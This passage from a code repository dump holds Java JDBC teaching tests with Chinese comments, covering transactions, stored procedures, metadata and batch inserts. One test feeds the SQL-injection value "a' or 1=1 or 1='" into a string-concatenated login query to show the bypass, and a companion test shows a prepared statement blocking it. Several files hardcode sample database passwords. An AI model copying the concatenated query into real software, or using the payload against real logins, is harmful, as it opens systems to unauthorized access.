accountid='123456789'\n\t\t\tsql = \"UPDATE account SET balance=balance+? WHERE accountid=?\";\n\t\t\tpstmt = conn.prepareStatement(sql);\n\t\t\tpstmt.setDouble(1, money);\n\t\t\tpstmt.setString(2, accountId);\n\n\t\t\t// 模拟因网络或不明原因出异常\n\t\t\tboolean flag = true;\n\t\t\tif (flag) {\n\t\t\t\tthrow new SQLException(\"因网络或不明原因出异常!\");\n\t\t\t}\n\t\t\tpstmt.executeUpdate();\n\n\t\t\t/*****************************************************/\n\t\t\t// 提交事务\n\t\t\tconn.commit();\n\t\t\t/*****************************************************/\n\n\t\t} catch (SQLException e) {\n\n\t\t\t/*****************************************************/\n\t\t\t// 回滚事务\n\t\t\ttry {\n\t\t\t\tif (conn != null) {\n\t\t\t\t\tconn.rollback();\n\t\t\t\t}\n\t\t\t} catch (SQLException e1) {\n\t\t\t\te1.printStackTrace();\n\t\t\t}\n\t\t\t/*****************************************************/\n\n\t\t\te.printStackTrace();\n\t\t} finally {\n\t\t}\n\t}\n\n\t/**\n\t * PreparedStatement能解决sql注入问题\n\t */\n\t@Test\n\tpublic void testSqlInject() {\n\t\t// 准备数据\n\t\tString name = \"a' or 1=1 or 1='\";\n\t\tString password = \"123\";\n\n\t\tConnection conn = null;\n\t\tPreparedStatement pstmt = null;\n\t\tResultSet rs = null;\n\n\t\tconn = JdbcUtil.getConnection();\n\t\tString sql = \"SELECT NAME,PASSWORD FROM p_user WHERE NAME=? AND PASSWORD=?\";\n\t\ttry {\n\t\t\tpstmt = conn.prepareStatement(sql);\n\t\t\tpstmt.setString(1, name);\n\t\t\tpstmt.setString(2, password);\n\t\t\trs = pstmt.executeQuery();\n\t\t\tif (rs.next()) {\n\t\t\t\tSystem.out.println(\"登陆成功啦！\");\n\t\t\t\tSystem.out.println(\"用户名=\" + rs.getString(\"name\") + \" 密码=\" + rs.getString(\"password\"));\n\t\t\t} else {\n\t\t\t\tSystem.out.println(\"用户名或密码不匹配！\");\n\t\t\t}\n\t\t} catch (SQLException e) {\n\t\t\te.printStackTrace();\n\t\t} finally {\n\t\t}\n\t}\n\n\t/**\n\t * 循环保存5000条数据 mysql preparedStatement time=3062ms\n\t */\n\t@Test\n\tpublic void testEff1() {\n\t\tConnection conn = null;\n\t\tPreparedStatement pstmt = null;\n\t\tlong time = System.currentTimeMillis();\n\t\tconn = JdbcUtil.getConnection();\n\t\tString sql = \"INSERT INTO p_user(NAME,PASSWORD,age) VALUES(?,?,?)\";\n\t\ttry {\n\t\t\tpstmt = conn.prepareStatement(sql);\n\t\t\tfor (int i = 0; i < 5000; i++) {\n\t\t\t\tpstmt.setString(1, \"t\");\n\t\t\t\tpstmt.setString(2, \"1\");\n\t\t\t\tpstmt.setInt(3, 1);\n\t\t\t\tpstmt.executeUpdate();\n\t\t\t}\n\t\t\tSystem.out.println(System.currentTimeMillis() - time);\n\t\t} catch (SQLException e) {\n\t\t\te.printStackTrace();\n\t\t} finally {\n\t\t}\n\t}\n\n\t/**\n\t * 测试sql注入怎么产生\n\t * \n\t * 模拟登陆\n\t */\n\t@Test\n\tpublic void testSqlInject1() {\n\t\t// 准备数据\n\t\tString name = \"a' or 1=1 or 1='\";\n\t\tString password = \"123\";\n\n\t\tConnection conn = null;\n\t\tStatement stmt = null;\n\t\tResultSet rs = null;\n\n\t\tconn = JdbcUtil.getConnection();\n\t\ttry {\n\t\t\tstmt = conn.createStatement();\n\t\t\tString sql = \"SELECT NAME,PASSWORD FROM p_user WHERE NAME='\" + name + \"' AND PASSWORD=\" + password;\n\t\t\tSystem.out.println(sql);\n\t\t\trs = stmt.executeQuery(sql);\n\t\t\tif (rs.next()) {\n\t\t\t\tSystem.out.println(\"登陆成功啦！\");\n\t\t\t\tSystem.out.println(\"用户名=\" + rs.getString(\"name\") + \" 密码=\" + rs.getString(\"password\"));\n\t\t\t} else {\n\t\t\t\tSystem.out.println(\"用户名或密码不匹配！\");\n\t\t\t}\n\t\t} catch (SQLException e) {\n\t\t\te.printStackTrace();\n\t\t} finally {\n\t\t}\n\t}\n\n\t/**\n\t * 循环保存5000条数据 msql Statement 2984ms\n\t */\n\t@Test\n\tpublic void testEff11() {\n\t\tConnection conn = null;\n\t\tStatement stmt = null;\n\t\tlong time = System.currentTimeMillis();\n\t\tconn = JdbcUtil.getConnection();\n\n\t\ttry {\n\t\t\tstmt = conn.createStatement();\n\t\t\tfor (int i = 0; i < 5000; i++) {\n\t\t\t\tString sql = \"INSERT INTO p_user(NAME,PASSWORD,age) VALUES('t','1',1)\";\n\t\t\t\tstmt.executeUpdate(sql);\n\t\t\t}\n\t\t\tSystem.out.println(System.currentTimeMillis() - time);\n\t\t} catch (SQLException e) {\n\t\t\te.printStackTrace();\n\t\t} finally {\n\t\t\t\n\t\t}\n\n\t}\n\t\n\t\n\n\t@Test\n\tpublic void dbm() throws Exception {\n\t\tConnection con = DataSourceUtil.getConn();\n\t\tDatabaseMetaData dm = con.getMetaData();\n\t\t// ResultSet rs= dm.getCatalogs();//获取所有数据库名称\n\t\t// while(rs.next()){\n\t\t// String name = rs.getString(\"TABLE_CAT\");\n\t\t// System.err.println(name);\n\t\t// }\n\t\t// System.err.println(\"======================\");\n\t\tString dbName = dm.getDatabaseProductName();// 数据库名称\n\t\tSystem.err.println(dbName);\n\t\tSystem.err.println(\"数据库中有多少表：\");\n\t\tResultSet rs2 = dm.getTables(\"db909\", \"db909\", null, new String[] { \"TABLE\" });\n\t\twhile (rs2.next()) {\n\t\t\tString tableName = rs2.getString(\"TABLE_NAME\");\n\t\t\tSystem.err.println(tableName);\n\t\t}\n\t}\n\n\t@Test\n\tpublic void rs2() throws Exception {\n\t\tConnection con = DataSourceUtil.getConn();\n\t\t// 转到exam数据库中去\n\t\tStatement st = con.createStatement();\n\t\tst.execute(\"use exam\");\n\t\t// 查询\n\t\tString sql = \"select * from dept\";\n\t\tResultSet rs = st.executeQuery(sql);\n\t\t// 对rs结果集进行分析\n\t\tResultSetMetaData rsmd = rs.getMetaData();\n\t\t// 获取有几个列\n\t\tint cols = rsmd.getColumnCount();\n\t\tSystem.err.println(cols);\n\t\t// 获取每一个字段名\n\t\tList<String> colNames = new ArrayList<String>();// 保存所有的字段\n\t\tfor (int i = 0; i < cols; i++) {\n\t\t\tString colName = rsmd.getColumnName(i + 1);\n\t\t\tSystem.err.print(colName + \"\\t\\t\");\n\t\t\tcolNames.add(colName);\n\t\t}\n\t\tSystem.err.println();\n\t\t// 获取数据\n\t\twhile (rs.next()) {\n\t\t\tfor (String nm : colNames) {// 遍历一行中的所列\n\t\t\t\tString val = rs.getString(nm);\n\t\t\t\tSystem.err.print(val + \"\\t\\t\");\n\t\t\t}\n\t\t\tSystem.err.println();\n\t\t}\n\n\t\tcon.close();\n\t}\n\n\t/**\n\t * 调用带有输入参数的存储过程 CALL pro_findById(4);\n\t */\n\t@Test\n\tpublic void test11() {\n\t\tConnection conn = null;\n\t\tCallableStatement stmt = null;\n\t\tResultSet rs = null;\n\t\ttry {\n\t\t\t// 获取连接\n\t\t\tconn = JdbcUtil.getConnection();\n\n\t\t\t// 准备sql\n\t\t\tString sql = \"CALL pro_findById(?)\"; // 可以执行预编译的sql\n\n\t\t\t// 预编译\n\t\t\tstmt = conn.prepareCall(sql);\n\n\t\t\t// 设置输入参数\n\t\t\tstmt.setInt(1, 6);\n\n\t\t\t// 发送参数\n\t\t\trs = stmt.executeQuery(); // 注意：\n\t\t\t\t\t\t\t\t\t\t// 所有调用存储过程的sql语句都是使用executeQuery方法执行！！！\n\n\t\t\t// 遍历结果\n\t\t\twhile (rs.next()) {\n\t\t\t\tint id = rs.getInt(\"id\");\n\t\t\t\tString name = rs.getString(\"name\");\n\t\t\t\tString gender = rs.getString(\"gender\");\n\t\t\t\tSystem.out.println(id + \",\" + name + \",\" + gender);\n\t\t\t}\n\n\t\t} catch (Exception e) {\n\t\t\te.printStackTrace();\n\t\t\tthrow new RuntimeException(e);\n\t\t} finally {\n\t\t}\n\t}\n\n\t/**\n\t * 执行带有输出参数的存储过程 CALL pro_findById2(5,@NAME);\n\t */\n\t@Test\n\tpublic void test2() {\n\t\tConnection conn = null;\n\t\tCallableStatement stmt = null;\n\t\tResultSet rs = null;\n\t\ttry {\n\t\t\t// 获取连接\n\t\t\tconn = JdbcUtil.getConnection();\n\t\t\t// 准备sql\n\t\t\tString sql = \"CALL pro_findById2(?,?)\"; // 第一个？是输入参数，第二个？是输出参数\n\n\t\t\t// 预编译\n\t\t\tstmt = conn.prepareCall(sql);\n\n\t\t\t// 设置输入参数\n\t\t\tstmt.setInt(1, 6);\n\t\t\t// 设置输出参数(注册输出参数)\n\t\t\t/**\n\t\t\t * 参数一： 参数位置 参数二： 存储过程中的输出参数的jdbc类型 VARCHAR(20)\n\t\t\t */\n\t\t\tstmt.registerOutParameter(2, java.sql.Types.VARCHAR);\n\n\t\t\t// 发送参数，执行\n\t\t\tstmt.executeQuery(); // 结果不是返回到结果集中，而是返回到输出参数中\n\n\t\t\t// 得到输出参数的值\n\t\t\t/**\n\t\t\t * 索引值： 预编译sql中的输出参数的位置\n\t\t\t */\n\t\t\tString result = stmt.getString(2); // getXX方法专门用于获取存储过程中的输出参数\n\n\t\t\tSystem.out.println(result);\n\n\t\t} catch (Exception e) {\n\t\t\te.printStackTrace();\n\t\t\tthrow new RuntimeException(e);\n\t\t} finally {\n\t\t}\n\t}\n\t\n\t\n\t// @Test\n\t\tpublic void read() {\n\t\t\tConnection conn = null;\n\t\t\tStatement stmt = null;\n\t\t\tResultSet rs = null;\n\t\t\tString sql = \"select * from test where username='abc'\";\n\t\t\ttry {\n\t\t\t\tconn = JdbcUtil.getConnection();\n\t\t\t\tstmt = conn.createStatement();\n\t\t\t\trs = stmt.executeQuery(sql);\n\t\t\t\twhile (rs.next()) {\n\t\t\t\t\tString name = rs.getString(\"name\");\n\t\t\t\t\tString gender = rs.getString(\"gender\");\n\t\t\t\t\tSystem.out.println(name + \":\" + gender);\n\t\t\t\t}\n\t\t\t} catch (Exception e) {\n\t\t\t\te.printStackTrace();\n\t\t\t} finally {\n\t\t\t\tJdbcUtil.close();\n\t\t\t}\n\t\t}\n\t\t\n\n\t\tpublic static void test_mysql() throws Exception {\n\t\t\tClass.forName(\"com.mysql.jdbc.Driver\");\n\t\t\ttry (Connection con = DriverManager.getConnection(\"jdbc:mysql://localhost/db_test\", \"root\", \"mysqladmin\");) {\n\t\t\t\tDatabaseMetaData dmd = con.getMetaData();\n\t\t\t\tSystem.out.println(\"当前数据库是：\" + dmd.getDatabaseProductName());\n\t\t\t\tSystem.out.println(\"当前数据库版本：\" + dmd.getDatabaseProductVersion());\n\t\t\t\tSystem.out.println(\"当前数据库驱动：\" + dmd.getDriverVersion());\n\t\t\t\tSystem.out.println(\"当前数据库URL：\" + dmd.getURL());\n\t\t\t\tSystem.out.println(\"当前数据库是否是只读模式？：\" + dmd.isReadOnly());\n\t\t\t\tSystem.out.println(\"当前数据库是否支持批量更新？：\" + dmd.supportsBatchUpdates());\n\t\t\t\tSystem.out.println(\"当前数据库是否支持结果集的双向移动（数据库数据变动不在ResultSet体现）？：\" + dmd.supportsResultSetType(ResultSet.TYPE_SCROLL_INSENSITIVE));\n\t\t\t\tSystem.out.println(\"当前数据库是否支持结果集的双向移动（数据库数据变动会影响到ResultSet的内容）？：\" + dmd.supportsResultSetType(ResultSet.TYPE_SCROLL_SENSITIVE));\n\t\t\t\tSystem.out.println(\"========================================\");\n\t\t\t\tResultSet rs = dmd.getTables(null, null, \"%\", null);\n\t\t\t\tSystem.out.println(\"表名\" + \",\" + \"表类型\");\n\t\t\t\twhile (rs.next()) {\n\t\t\t\t\tSystem.out.println(rs.getString(\"TABLE_NAME\") + \",\" + rs.getString(\"TABLE_TYPE\"));\n\t\t\t\t}\n\t\t\t\tSystem.out.println(\"========================================\");\n\t\t\t\trs = dmd.getPrimaryKeys(null, null, \"sys_log_content\");\n\t\t\t\twhile (rs.next()) {\n\t\t\t\t\tSystem.out.println(rs.getString(3) + \"表的主键是：\" + rs.getString(4));\n\t\t\t\t}\n\t\t\t\tSystem.out.println(\"========================================\");\n\t\t\t\trs = dmd.getColumns(null, null, \"sys_log_content\", \"%\");\n\t\t\t\tSystem.out.println(\"t_student表包含的字段:\");\n\t\t\t\twhile (rs.next()) {\n\t\t\t\t\tSystem.out.println(rs.getString(4) + \" \" + rs.getString(6) + \"(\" + rs.getString(7) + \");\");\n\t\t\t\t}\n\t\t\t\tSystem.out.println(\"========================================\");\n\t\t\t} catch (SQLException e) {\n\t\t\t\tSystem.out.println(\"数据库操作出现异常\");\n\t\t\t}\n\t\t}\n\n\t\t/**\n\t\t * @param args\n\t\t */\n\t\tpublic static void oracleDemo(String[] args) {\n\t\t\tConnection conn = null;\n\t\t\tStatement stmt = null;\n\t\t\tResultSet rs = null;\n\t\t\ttry {\n\t\t\t\tClass.forName(\"oracle.jdbc.driver.OracleDriver\");\n\t\t\t\tString url = \"jdbc:oracle:thin:@localhost:1521:tarena\";\n\t\t\t\tString dbUsername = \"scott\";\n\t\t\t\tString dbPassword = \"tiger\";\n\t\t\t\tconn = DriverManager.getConnection(url, dbUsername, dbPassword);\n\t\t\t\tstmt = conn.createStatement();\n\t\t\t\tString sql = \"select empno, ename, job, sal, \" + \"to_char(hiredate, 'yyyy/mm/dd') hiredate \" + \"from mystu\";\n\t\t\t\t// System.out.println(sql);\n\t\t\t\tstmt.setMaxRows(5);\n\t\t\t\trs = stmt.executeQuery(sql);// 130000\n\t\t\t\t// rs.setFetchSize(5);\n\t\t\t\twhile (rs.next()) {\n\t\t\t\t\tint empno = rs.getInt(\"empno\");\n\t\t\t\t\tString ename = rs.getString(\"ename\");\n\t\t\t\t\tString job = rs.getString(\"job\");\n\t\t\t\t\tdouble sal = rs.getDouble(\"sal\");\n\t\t\t\t\tString hiredate = rs.getString(\"hiredate\");\n\t\t\t\t\tSystem.out.println(empno + \", \" + ename + \", \" + job + \", \" + sal + \", \" + hiredate);\n\t\t\t\t}\n\t\t\t} catch (ClassNotFoundException e) {\n\t\t\t\te.printStackTrace();\n\t\t\t} catch (SQLException e) {\n\t\t\t\te.printStackTrace();\n\t\t\t} finally {\n\t\t\t\ttry {\n\t\t\t\t\trs.close();\n\t\t\t\t} catch (SQLException e) {\n\t\t\t\t\te.printStackTrace();\n\t\t\t\t}\n\t\t\t\ttry {\n\t\t\t\t\tstmt.close();\n\t\t\t\t} catch (SQLException e) {\n\t\t\t\t\te.printStackTrace();\n\t\t\t\t}\n\t\t\t\ttry {\n\t\t\t\t\tconn.close();\n\t\t\t\t} catch (SQLException e) {\n\t\t\t\t\te.printStackTrace();\n\t\t\t\t}\n\t\t\t}\n\t\t}\n\n\t\tpublic static void derby() {\n\t\t\ttry {\n\t\t\t\t// 加载驱动\n\t\t\t\tClass.forName(\"org.apache.derby.jdbc.EmbeddedDriver\").newInstance();\n\t\t\t\tSystem.out.println(\"Load the embedded driver\");\n\t\t\t\t// 创建和连接数据库\n\t\t\t\tConnection conn = DriverManager.getConnection(\"jdbc:derby:myDB;create = true\");\n\t\t\t\tSystem.out.println(\"create and connect to myDB\");\n\t\t\t\t// 创建表\n\t\t\t\tStatement s = conn.createStatement();\n\t\t\t\ts.execute(\"create table employee(no varchar(4),name varchar(8),sex varchar(2),salary Float)\");\n\t\t\t\tSystem.out.println(\"Created table\");\n\t\t\t\ts.executeUpdate(\"insert into employee values(1001,'张强','男',675.20)\");\n\t\t\t\tResultSet rs = s.executeQuery(\"SELECT no,name,sex,salary FROM employee where sex='男'\");\n\n\t\t\t\tSystem.out.println(\"no\\tname\\tsex\\tsalary\");\n\t\t\t\twhile (rs.next()) {\n\t\t\t\t\tStringBuilder builder = new StringBuilder(rs.getString(1));\n\t\t\t\t\tbuilder.append(\"\\t\");\n\t\t\t\t\tbuilder.append(rs.getString(2));\n\t\t\t\t\tbuilder.append(\"\\t\");\n\t\t\t\t\tbuilder.append(rs.getString(3));\n\t\t\t\t\tbuilder.append(\"\\t\");\n\t\t\t\t\tbuilder.append(rs.getDouble(4));\n\t\t\t\t\tSystem.out.println(builder.toString());\n\n\t\t\t\t}\n\t\t\t\ts.execute(\"drop table employee\");\n\t\t\t\tSystem.out.println(\"Dropped table \");\n\t\t\t\trs.close();\n\t\t\t\ts.close();\n\t\t\t\tSystem.out.println(\"Closed result set and statement\");\n\t\t\t\tconn.close();\n\t\t\t\tSystem.out.println(\"Closed connection\");\n\n\t\t\t} catch (Exception e) {\n\t\t\t\t// TODO: handle exception\n\t\t\t}\n\t\t}\n\n\t\t/**\n\t\t * oracle非批量插入10万条记录 第1次：22391 ms 第2次：22297 ms 第3次：22703 ms\n\t\t */\n\t\tpublic static void test_oracle() {\n\t\t\tString url = \"jdbc:oracle:thin:@192.168.10.139:1521:orcl\";\n\t\t\tString userName = \"scott\";\n\t\t\tString password = \"tiger\";\n\t\t\tConnection conn = null;\n\t\t\ttry {\n\t\t\t\tClass.forName(\"oracle.jdbc.OracleDriver\");\n\t\t\t\tconn = DriverManager.getConnection(url, userName, password);\n\t\t\t\tconn.setAutoCommit(false);\n\t\t\t\tString sql = \"insert into t_user(id,uname) values(?,?)\";\n\t\t\t\tPreparedStatement prest = conn.prepareStatement(sql);\n\t\t\t\tlong a = System.currentTimeMillis();\n\t\t\t\tfor (int x = 0; x < 100000; x++) {\n\t\t\t\t\tprest.setInt(1, x);\n\t\t\t\t\tprest.setString(2, \"张三\");\n\t\t\t\t\tprest.execute();\n\t\t\t\t}\n\t\t\t\tconn.commit();\n\t\t\t\tlong b = System.currentTimeMillis();\n\t\t\t\tSystem.out.println(\"Oracle非批量插入10万记录用时\" + (b - a) + \" ms\");\n\t\t\t\tconn.close();\n\t\t\t} catch (Exception ex) {\n\t\t\t\tex.printStackTrace();\n\t\t\t} finally {\n\t\t\t\ttry {\n\t\t\t\t\tif (conn != null)\n\t\t\t\t\t\tconn.close();\n\t\t\t\t} catch (SQLException e) {\n\t\t\t\t\te.printStackTrace();\n\t\t\t\t}\n\t\t\t}\n\t\t}\n\n\t\t/**\n\t\t * oracle批量插入10万条记录 第1次：360 ms 第2次：328 ms 第3次：359 ms\n\t\t */\n\t\tpublic static void test_oracle_batch() {\n\t\t\tString url = \"jdbc:oracle:thin:@192.168.10.139:1521:orcl\";\n\t\t\tString userName = \"scott\";\n\t\t\tString password = \"tiger\";\n\t\t\tConnection conn = null;\n\t\t\ttry {\n\t\t\t\tClass.forName(\"oracle.jdbc.OracleDriver\");\n\t\t\t\tconn = DriverManager.getConnection(url, userName, password);\n\t\t\t\tconn.setAutoCommit(false);\n\t\t\t\tString sql = \"insert into t_user(id,uname) values(?,?)\";\n\t\t\t\tPreparedStatement prest = conn.prepareStatement(sql);\n\t\t\t\tlong a = System.currentTimeMillis();\n\t\t\t\tfor (int x = 0; x < 100000; x++) {\n\t\t\t\t\tprest.setInt(1, x);\n\t\t\t\t\tprest.setString(2, \"张三\");\n\t\t\t\t\tprest.addBatch();\n\t\t\t\t}\n\t\t\t\tprest.executeBatch();\n\t\t\t\tconn.commit();\n\t\t\t\tlong b = System.currentTimeMillis();\n\t\t\t\tSystem.out.println(\"Oracle批量插入10万记录用时\" + (b - a) + \" ms\");\n\t\t\t\tconn.close();\n\t\t\t} catch (Exception ex) {\n\t\t\t\tex.printStackTrace();\n\t\t\t} finally {\n\t\t\t\ttry {\n\t\t\t\t\tif (conn != null)\n\t\t\t\t\t\tconn.close();\n\t\t\t\t} catch (SQLException e) {\n\t\t\t\t\te.printStackTrace();\n\t\t\t\t}\n\t\t\t}\n\t\t}\n\n\n\t\tpublic static void main11(String[] args) throws Exception {\n\t\t\tClass.forName(\"com.mysql.jdbc.Driver\");\n\t\t\ttry (Connection con = DriverManager.getConnection(\"jdbc:mysql://localhost/dbtest\", \"root\", \"root\");\n\t\t\t\t\tPreparedStatement pstmt = con.prepareStatement(\"select id_ as 主键,name_ as 姓名,sex as 性别 from t_student\", ResultSet.TYPE_SCROLL_SENSITIVE, ResultSet.CONCUR_UPDATABLE);\n\t\t\t\t\tResultSet rs = pstmt.executeQuery();) {\n\t\t\t\tResultSetMetaData rsm = rs.getMetaData();\n\t\t\t\tSystem.out.println(\"t_student表有几个字段？\" + rsm.getColumnCount());\n\t\t\t\tSystem.out.println(\"第一个字段所在表？\" + rsm.getTableName(1));\n\t\t\t\tSystem.out.println(\"========================\");\n\t\t\t\t// 遍历一个不知道结构的表\n\t\t\t\tSystem.out.println(\"通用型遍历结果集：\");\n\t\t\t\tSystem.out.println(\"1.获得所有的列名\");\n\t\t\t\tint colNum = rsm.getColumnCount();\n\t\t\t\tString[] colName = new String[colNum]; // 字段名\n\t\t\t\tString[] colLabel = new String[colNum]; // 别名\n\t\t\t\tfor (int i = 1; i < colNum; i++) {\n\t\t\t\t\t{\n\t\t\t\t\t\tcolName[i - 1] = rsm.getColumnName(i);\n\t\t\t\t\t\tcolLabel[i - 1] = rsm.getColumnLabel(i);\n\t\t\t\t\t}\n\t\t\t\t\tSystem.out.println(Arrays.asList(colName));\n\t\t\t\t\tSystem.out.println(Arrays.asList(colLabel));\n\t\t\t\t\tSystem.out.println(\"------------------------\");\n\t\t\t\t\tSystem.out.println(\"2.遍历并封装\");\n\t\t\t\t\t// 把结果集封装成List>\n\t\t\t\t\tList dbData = new ArrayList<>();\n\t\t\t\t\twhile (rs.next()) {\n\t\t\t\t\t\tMap one = new HashMap();\n\t\t\t\t\t\tfor (int i1 = 1; i1 < colNum; i1++) {\n\t\t\t\t\t\t\t{\n\t\t\t\t\t\t\t\tone.put(colLabel[i1 - 1], rs.getString(i1));\n\t\t\t\t\t\t\t}\n\t\t\t\t\t\t\tdbData.add(one);\n\t\t\t\t\t\t}\n\t\t\t\t\t\t// System.out.println(dbData);\n\t\t\t\t\t\t/*\n\t\t\t\t\t\t * for(Map one1 : dbData) { { System.out.println(one1); }\n\t\t\t\t\t\t * }catch(SQLException e) { System.out.println(\"数据库操作出现异常\");\n\t\t\t\t\t\t * }\n\t\t\t\t\t\t */\n\t\t\t\t\t}\n\t\t\t\t}\n\t\t\t}\n\t\t}\n\n\t\t@SuppressWarnings(\"unchecked\")\n\t\tpublic static void main55(String[] args) {\n\t\t\ttry {\n\t\t\t\tList<Object[]> list = (List<Object[]>) JdbcUtil.executeQuery(\"select * from t\");\n\t\t\t\tfor (int i = 0; i < list.size(); i++) {\n\t\t\t\t\tObject[] os = list.get(i);\n\t\t\t\t\tfor (Object o : os) {\n\t\t\t\t\t\tif (o instanceof String) {\n\t\t\t\t\t\t\tString s = (String) o;\n\t\t\t\t\t\t\tString newStr = new String(s.getBytes(\"ISO-8859-1\"), \"GBK\");\n\t\t\t\t\t\t\tSystem.out.print(\"字符串：\" + newStr + \"\\t\\t\");\n\t\t\t\t\t\t} else if (o instanceof Long) {\n\t\t\t\t\t\t\tLong s = (Long) o;\n\t\t\t\t\t\t\tSystem.out.print(\"浮点值：\" + s + \"\\t\\t\");\n\t\t\t\t\t\t} else if (o instanceof Integer) {\n\t\t\t\t\t\t\tInteger s = (Integer) o;\n\t\t\t\t\t\t\tSystem.out.print(\"整形值：\" + s + \"\\t\\t\");\n\t\t\t\t\t\t} else {\n\t\t\t\t\t\t\tSystem.out.print(\"未知型：\" + o + \"\\t\\t\");\n\t\t\t\t\t\t}\n\t\t\t\t\t}\n\t\t\t\t\tSystem.out.println();\n\t\t\t\t}\n\t\t\t} catch (Exception e) {\n\t\t\t\te.printStackTrace();\n\t\t\t}\n\t\t}\n\n\t\tpublic static void main3(String[] args) throws Exception {\n\t\t\tClass.forName(\"org.sqlite.JDBC\");\n\t\t\tConnection conn = DriverManager.getConnection(\"jdbc:sqlite:test2.db\");\n\t\t\tStatement stat = conn.createStatement();\n\t\t\tstat.executeUpdate(\"drop table if exists people;\");\n\t\t\tstat.executeUpdate(\"create table people (name, occupation);\");\n\t\t\tPreparedStatement prep = conn.prepareStatement(\"insert into people values (?, ?);\");\n\t\t\tprep.setString(1, \"Gandhi\");\n\t\t\tprep.setString(2, \"politics\");\n\t\t\tprep.addBatch();\n\t\t\tprep.setString(1, \"Turing\");\n\t\t\tprep.setString(2, \"computers\");\n\t\t\tprep.addBatch();\n\t\t\tprep.setString(1, \"Wittgenstein\");\n\t\t\tprep.setString(2, \"smartypants\");\n\t\t\tprep.addBatch();\n\t\t\tconn.setAutoCommit(false);\n\t\t\tprep.executeBatch();\n\t\t\tconn.setAutoCommit(true);\n\t\t\tResultSet rs = stat.executeQuery(\"select * from people;\");\n\t\t\twhile (rs.next()) {\n\t\t\t\tSystem.out.println(\"name = \" + rs.getString(\"name\"));\n\t\t\t\tSystem.out.println(\"job = \" + rs.getString(\"occupation\"));\n\t\t\t}\n\t\t\trs.close();\n\t\t\tconn.close();\n\t\t}\n\n\n\t\t/**\n\t\t * mysql非批量插入10万条记录 第1次：17437 ms 第2次：17422 ms 第3次：17046 ms\n\t\t */\n\t\tpublic static void test_mysql_nobatch() {\n\t\t\tString url = \"jdbc:mysql://192.168.10.139:3306/test\";\n\t\t\tString userName = \"root\";\n\t\t\tString password = \"1234\";\n\t\t\tConnection conn = null;\n\t\t\ttry {\n\t\t\t\tClass.forName(\"com.mysql.jdbc.Driver\");\n\t\t\t\tconn = DriverManager.getConnection(url, userName, password);\n\t\t\t\tconn.setAutoCommit(false);\n\t\t\t\tString sql = \"insert into t_user(id,uname) values(?,?)\";\n\t\t\t\tPreparedStatement prest = conn.prepareStatement(sql);\n\t\t\t\tlong a = System.currentTimeMillis();\n\t\t\t\tfor (int x = 0; x < 100000; x++) {\n\t\t\t\t\tprest.setInt(1, x);\n\t\t\t\t\tprest.setString(2, \"张三\");\n\t\t\t\t\tprest.execute();\n\t\t\t\t}\n\t\t\t\tconn.commit();\n\t\t\t\tlong b = System.currentTimeMillis();\n\t\t\t\tSystem.out.println(\"MySql非批量插入10万条记录用时\" + (b - a) + \" ms\");\n\t\t\t} catch (Exception ex) {\n\t\t\t\tex.printStackTrace();\n\t\t\t} finally {\n\t\t\t\ttry {\n\t\t\t\t\tif (conn != null)\n\t\t\t\t\t\tconn.close();\n\t\t\t\t} catch (SQLException e) {\n\t\t\t\t\te.printStackTrace();\n\t\t\t\t}\n\t\t\t}\n\t\t}\n\n\t\t/**\n\t\t * mysql批量插入10万条记录 第1次：17437 ms 第2次：17562 ms 第3次：17140 ms\n\t\t */\n\t\tpublic static void test_mysql_batch() {\n\t\t\tString url = \"jdbc:mysql://192.168.10.139:3306/test\";\n\t\t\tString userName = \"root\";\n\t\t\tString password = \"1234\";\n\t\t\tConnection conn = null;\n\t\t\ttry {\n\t\t\t\tClass.forName(\"com.mysql.jdbc.Driver\");\n\t\t\t\tconn = DriverManager.getConnection(url, userName, password);\n\t\t\t\tconn.setAutoCommit(false);\n\t\t\t\tString sql = \"insert into t_user(id,uname) values(?,?)\";\n\t\t\t\tPreparedStatement prest = conn.prepareStatement(sql);\n\t\t\t\tlong a = System.currentTimeMillis();\n\t\t\t\tfor (int x = 0; x < 100000; x++) {\n\t\t\t\t\tprest.setInt(1, x);\n\t\t\t\t\tprest.setString(2, \"张三\");\n\t\t\t\t\tprest.addBatch();\n\t\t\t\t}\n\t\t\t\tprest.executeBatch();\n\t\t\t\tconn.commit();\n\t\t\t\tlong b = System.currentTimeMillis();\n\t\t\t\tSystem.out.println(\"MySql批量插入10万条记录用时\" + (b - a) + \" ms\");\n\t\t\t} catch (Exception ex) {\n\t\t\t\tex.printStackTrace();\n\t\t\t} finally {\n\t\t\t\ttry {\n\t\t\t\t\tif (conn != null)\n\t\t\t\t\t\tconn.close();\n\t\t\t\t} catch (SQLException e) {\n\t\t\t\t\te.printStackTrace();\n\t\t\t\t}\n\t\t\t}\n\t\t}\n\n}\n"
  },
  {
    "path": "jun_java_plugins/jun_jdbc/src/test/java/SQL.sql",
    "content": "DELIMITER &&\nCREATE PROCEDURE pro_getBookNameById(IN bookId INT,OUT bN VARCHAR(20))\n BEGIN\n\tSELECT bookName INTO bn FROM t_book WHERE id=bookId;\n END \n&&\nDELIMITER ;\n\nCALL pro_getBookNameById(10,@bookName);\nSELECT @bookName;"
  },
  {
    "path": "jun_java_plugins/jun_jdbc/src/test/java/com/jun/plugin/jdbc/chap02/sec03/Demo1.java",
    "content": "package com.jun.plugin.jdbc.chap02.sec03;\n\npublic class Demo1 {\n\n\tprivate static String jdbcName=\"com.mysql.jdbc.Driver\";\n\t\t\t\n\tpublic static void main(String[] args) {\n\t\ttry {\n\t\t\tClass.forName(jdbcName);\n\t\t\tSystem.out.println(\"���������ɹ���\");\n\t\t} catch (ClassNotFoundException e) {\n\t\t\t// TODO Auto-generated catch block\n\t\t\te.printStackTrace();\n\t\t\tSystem.out.println(\"��������ʧ�ܣ�\");\n\t\t}\n\t}\n}\n"
  },
  {
    "path": "jun_java_plugins/jun_jdbc/src/test/java/com/jun/plugin/jdbc/chap02/sec04/Demo1.java",
